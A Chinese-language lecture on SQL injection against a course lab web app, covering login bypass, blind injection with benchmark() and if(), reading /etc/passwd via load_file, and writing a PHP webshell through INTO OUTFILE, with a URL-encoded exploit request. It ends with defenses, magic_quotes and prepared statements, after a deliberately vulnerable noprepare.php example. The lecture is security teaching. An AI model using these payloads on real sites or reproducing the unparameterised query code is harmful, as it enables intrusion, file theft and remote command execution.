在上课之前呢,我们先来看一下一张图画。

现在能看懂这是什么意思吗?

如果能看懂,说明对SQL注入已经理解了;如果不能看懂,也没关系,我们讲完之后,大家肯定能懂。

说起SQL大家应该不陌生,关系型资料库。与网站相关的技术中,也少不了对后台数据存储的介绍。

为什么要攻击资料库,也很容易理解是吧。我们之前讲XSS,讲CSRF,去偷别人的zoobar,如果我们能直接改资料库,还干嘛要XSS呢,直接把自己的zoobar的个数变成1000或者10000就行了。

我们这里对SQL简单介绍一点。

像增删查改这些基本的应用大家应该比较熟,insert,delete,update,alter,drop,select。

一条普通的sql语句大概什么样呢?

我们一起来用用一下资料库。常见的命令。

如果语法出错,会报错;

进行更新

在进行这种操作的时候请大家一定注意后面的where条件,我自己曾经把资料库中的攻击代码全部清空,就是因为忘记了where条件。

那我们想这样的问题:sql语句和后台的伺服器代码是怎么样结合起来的。

我们来看一下最开始创建这个网站的时候使用的建资料库的语句。

create table Person(PersonID int primary key auto_increment, Password varchar(100),Salt varchar(100),Username varchar(100),Token varchar(100),Zoobars int default 10, Profile varchar(5000));

用户注册、登录都需要后台资料库的配合。用户注册的时候,是使用用户提交的用户名和密码;用户更新profile的时候,也需要修改资料库。用户登录的时候,要从资料库中检查一下用户名和密码是否正确,是否匹配。如果匹配成功了,那么PHP就会继续做下面的事情,譬如设置好cookie,并且发送给浏览器;跳转到新的页面,这样就是登录成功了。

我们来想一下,为什么有时候登录会不成功?

密码出错了;谁告诉浏览器不让我们登录进去?资料库。

资料库说 查无此人;或者这人密码不对。

直接在mysql的界面或者使用phpmysqladmin界面大家应该都不陌生;对于后台代码,可以看到,各种主流的后台语言PHP、JAVA都提供了对资料库的支持,只需要execute一条语句就能够执行。但是首先,我们需要来构造的是需要被执行的语句。

这个语句是怎么来的?

正常的SQL语法作为一个字元串,拼接上来自前台的用户的输入,形成了一条完整的SQL语句。

在transfer.php、index.php等各个页面都有这样的代码例子。

这么正常的一个流程,可能会在哪里出问题?

我们来回顾一下,XSS注入的基本思路是什么。在开发者期望用户输入正常的数据的位置,用户输入了什么呢?输入了代码。

所谓的注入,就是要让别人的系统执行自己的代码。那我们来想一想,如何能够让别人执行我们的代码?

直接在输入框中输入 insert,update,效果是什么?没有什么作用

为什么呢?

这样会破坏原本的语法结构,语法报错。

但是,如果能够遵循别人的代码结构呢?

所以,构建SQL注入的一个关键点在于自己输入进去的攻击代码要能够不破坏语法结构。那这时候关键的一点是什么?

黑客要能够自己的猜测和测试后台的结构,并且利用这个结构构造出能够执行的代码。

我们首先来看一下登录页面,假设有一个admin账户,黑客很想以这个身份登录进去。但是他又不知道admin的密码,怎么办呢?

我们来看下,SQL语句成功执行和没有找到合适的项的区别。如果有查询到满足条件的行,那么就把行返回;如果没有,就返回空。

那么sql怎么判断条件有没有满足呢?

Where 语句中,如果条件对就会返回1,条件不满足,就返回0。所以SQL语句整个的返回结果取决于where条件的返回结果。我们来试一下。

所以在登录的时候,就是要求用户名和密码要等对的上号,where条件是1。

那我们来动脑筋想想,怎么样绕过这一点? 在不知道密码甚至不知道用户名的情况下登录?

我们得来发掘一下mysql的语法。

有and和 or。对吧。来试一下。

我们再来看一下。

也就是说,虽然不知道正确的用户名和密码,但是如果能够输入or 1作为条件的一部分,那么就可以成功地通过验证了。

我们看到,通过使用』、or、以及#我们就成功地作为合法用户登录了。

现在回头来看这个漫画,是不是能笑出来了?

我们可以先看看 如果是这样的输入,结果是什么?

Select * from Student where 3;
Select * from Student where 『a』;
Select * from Student where 『3』;
Select * from Student where 『3a』;
Select * from Student where 『a3』;

Select * from Student where 0 or 0 and 0;
Select * from Student where 0 or 0 and 1;
Select * from Student where 0 or 1 and 0;
Select * from Student where 0 or 1 and 1;
Select * from Student where 1 or 0 and 0;
Select * from Student where 1 or 0 and 1;
Select * from Student where 1 or 1 and 0;
Select * from Student where 1 or 1 and 1;

通过这些分析,我们可以来试试各种绕过登录机制的例子。

a and 0

等等。

然后,我们来看一句SQL语句:

看到这个语法,试一下构造一个攻击。

a,zoobars=100 where username=d;#

那接下来,我们继续看看,SQL注入还能做什么。

大家对sql的一些基本语法可能比较熟;但是经常使用SQL可能才知道sql内部还有函数和条件语句。

我们给大家介绍两个例子。

譬如这样的。

Name Description
BENCHMARK() Repeatedly execute an expression
CHARSET() Return the character set of the argument
COERCIBILITY() Return the collation coercibility value of the string argument
COLLATION() Return the collation of the string argument
CONNECTION_ID() Return the connection ID (thread ID) for the connection
CURRENT_USER(), CURRENT_USER The authenticated user name and host name
DATABASE() Return the default (current) database name
FOUND_ROWS() For a SELECT with a LIMIT clause, the number of rows that would be returned were there no LIMIT clause
LAST_INSERT_ID() Value of the AUTOINCREMENT column for the last INSERT
ROW_COUNT() The number of rows updated
SCHEMA() Synonym for DATABASE()
SESSION_USER() Synonym for USER()
SYSTEM_USER() Synonym for USER()
USER() The user name and host name provided by the client
VERSION() Return a string that indicates the MySQL server version

BENCHMARK(count,expr)
> SELECT BENCHMARK(1000000,ENCODE(hello,goodbye));
+----------------------------------------------+
| BENCHMARK(1000000,ENCODE(hello,goodbye)) |
+----------------------------------------------+
| 0 |

以及在mysql中可以使用if

那大家觉得看了这些有什么感觉?能用来做攻击吗?

Benchmark和if结合在一起使用

以上这些操作的目的是什么?

再看一下union的用法。

有什么利用的方法吗?

a union select 1,1, if(substring(database(),1,1)=char(122),benchmark (50000000,encode(hello,world)),NULL);#

a union select 1, 2,load_file(/etc/passwd)#

实际上mysql的许可权很高,譬如

Select load_file(「/etc/passwd」);

可以读硬碟文件;

还可以干嘛呢?

Select * from Student into outfile 「/tmp/1.txt」

可以写文件

1 or 1
1 union select 1,2 into outfile /tmp/3.txt

那我们继续讨论下去,sql注入的终极目标是什么呢?

是webshell。

a union select 1,1,2 into outfile "/home/guoyan/Desktop/myzoo/6.txt"#

union select 1,1,<?php system($_GET[cmd]); ?> into outfile "/home/guoyan/Desktop/myzoo/6.php"#

(注意换行)

<?php system($_GET[cmd]); ?>

然后,通过浏览器,直接调用

zoobar.com/6.txt?

zoobar.com/6.php?

a union select 1, 1,』<?php system($_GET[cmd]); ?>』 into outfile 「/home/guoyan/Desktop/myzoo/6.php」;#

http://www.zoobar.com/users.php?user=%27+union+select+1%2C1%2C%27%3C%3Fphp+system%28%24_GET[cmd]%29%3B+%3F%3E%27+into+outfile+%22%2Fhome%2Fguoyan%2FDesktop%2Fmyzoo%2F6.php%22%23+

这个错误很有意思,因为忘了/home前面的根目录,所以暴露了mysql的默认写目录

这个攻击能够成功,虽然看起来很酷,但是实际上有很多问题,譬如,攻击者怎么知道网站的根目录在哪里?

以及,这个.php文件是通过MysqlD写进去的,mysql对文件夹有写许可权吗?在我的ubuntu12的系统中,至少要进行以下修改,才能完成这个攻击。

# Site-specific additions and overrides. See local/README for details.
#include <local/usr.sbin.mysqld>
/home/guoyan/Desktop/myzoo/ rw,
/home/guoyan/Desktop/myzoo/* rw,

我们来总结一下:

1. 首先,因为网站的后台代码直接使用用户的输入构建自己的资料库查询代码,所以用户可将sql语句嵌入在自己的输入中,从而改变后台sql语句的执行,达到各种攻击效果;

2. 其次,结合具体的情况,sql注入攻击可以绕过登录时的用户名和密码验证;可以进行资料库名字和用户猜测等;可以借助资料库,向伺服器中注入内容,如PHP代码,形成webshell等。

在十几年前,1999年左右的时候,因为当时几乎所有做网站的人都没有考虑到会有人这样来攻击自己的网站,所以Sql注入漏洞肆虐一时。也许还有一些老网站还没有进行防御。

在那之后,人们想到了各种各样的防御方式。

如果百度搜索,大家应该能看到一种防御方式是当用户进行输入的时候,过滤』或者对』进行转义。对』直接进行过滤,很明显对用户不友好,因为用户名字中有可能确实有』。另一方面,PHP配置中有一个magic_quote_gpc的选项,一旦在配置的时候选上之后,PHP代码就可以在用户输入的时候对用户的输入进行处理,把所有的特殊符号如』、「等都加上进行转义。

我们首先来看下,在没有开启magic_quote_gpc的时候,如果注册一个名叫I』s的用户来看看。对比一下转义的效果。

和我们预测的差不多,因为多了一个,所以造成语法出错。

现在我们手动来进行一下转义——转义的意思就是忽略的语法功能,当做一个普通的字元。

可以登录成功。

然后,我们启动PHP的magic_gpc,我们这会儿是要去改配置的,所以去etc找一找。在php5/apache2/php.ini文件中,将

magic_quotes_gpc = On

然后注册一个ab,没问题,可以注册成功。

如果打开这个选项,那么基本上,来说,之前讨论的login绕过就不能用了。

那我们再来想一想,即使做了这一步,是不是可以完全防御住sql注入呢?

我们来看一个例子。noprepare.php

<form action="noprepare.php" method=get>
User id:</br>
<input type=text name="id" />

</form>

<?php
$mysql = mysql_connect("localhost","root","root");

if(!$mysql){
printf("connect failed");
exit();
}

if(!mysql_select_db("zoobar",$mysql))
printf("open database failed.");

$sid = $_GET[id];

$query = "select name,profile from Student where StudentID=$sid";

$rs = mysql_query($query,$mysql);

while($result = mysql_fetch_array($rs))
printf("<b>%s</b> profile is <b>%s</b><br>",$result["name"],$result["profile"]);

?>

请大家想一想,来构造一个示例攻击代码。

从以上的攻击代码中可以发现,其实没有』也一样可以成功的。所以magic_quote_gpc在这种情况下也是不管用的,因为这个语句本来就没有用上。

说了这么多,那么sql injection应该怎么防御呢?

然后,大概是PHP等后台代码也觉得挺麻烦的,于是纷纷推出了prepare_statement。Prepare_statement的作用是规定好需要的参数的类型,同时对用户的输入进行鉴别和处理;保证用户的输入不可能作为代码被执行。

在PHP5中,同时支持安全和不安全的SQL语句。在之后,Sql的操作中,只支持这一种,prepare_statement。

我们看一下代码:

<form action="prepare.php" method=get>
User id:</br>
<input type=text name="id" />

</form>

<?php
$mysqli = new mysqli("localhost","root","root","zoobar");

if(mysqli_connect_errno()){
printf("connect failed: %s
",mysqli_connect_error());
exit();
}

#$username = "lily";
$sid = $_GET["id"];

if($stmt = $mysqli->prepare("select name,profile from Student where StudentId=?")){
$stmt->bind_param(i,$sid);
$stmt->execute();
$stmt->bind_result($name1,$profile1);
$stmt->fetch();
printf("%ss profile is %s
",$name1,$profile1);

$stmt->close();

}
if($stmt = $mysqli->prepare("select profile From Student where Name=?")){
$stmt->bind_param("s",$username);

$stmt->execute();
$stmt->bind_result($profile);

$stmt->fetch();

// printf("%ss profile is %s
",$username,$profile);
$stmt->close();

}
$mysqli->close();

?>

也许再过两年,学习网站开发的人就再也不用担心sql注入的威胁了。一种安全问题从发展到壮大,然后再到消亡。但是,它的思路依然是值得借鉴和学习的。


推荐阅读:
查看原文 >>
相关文章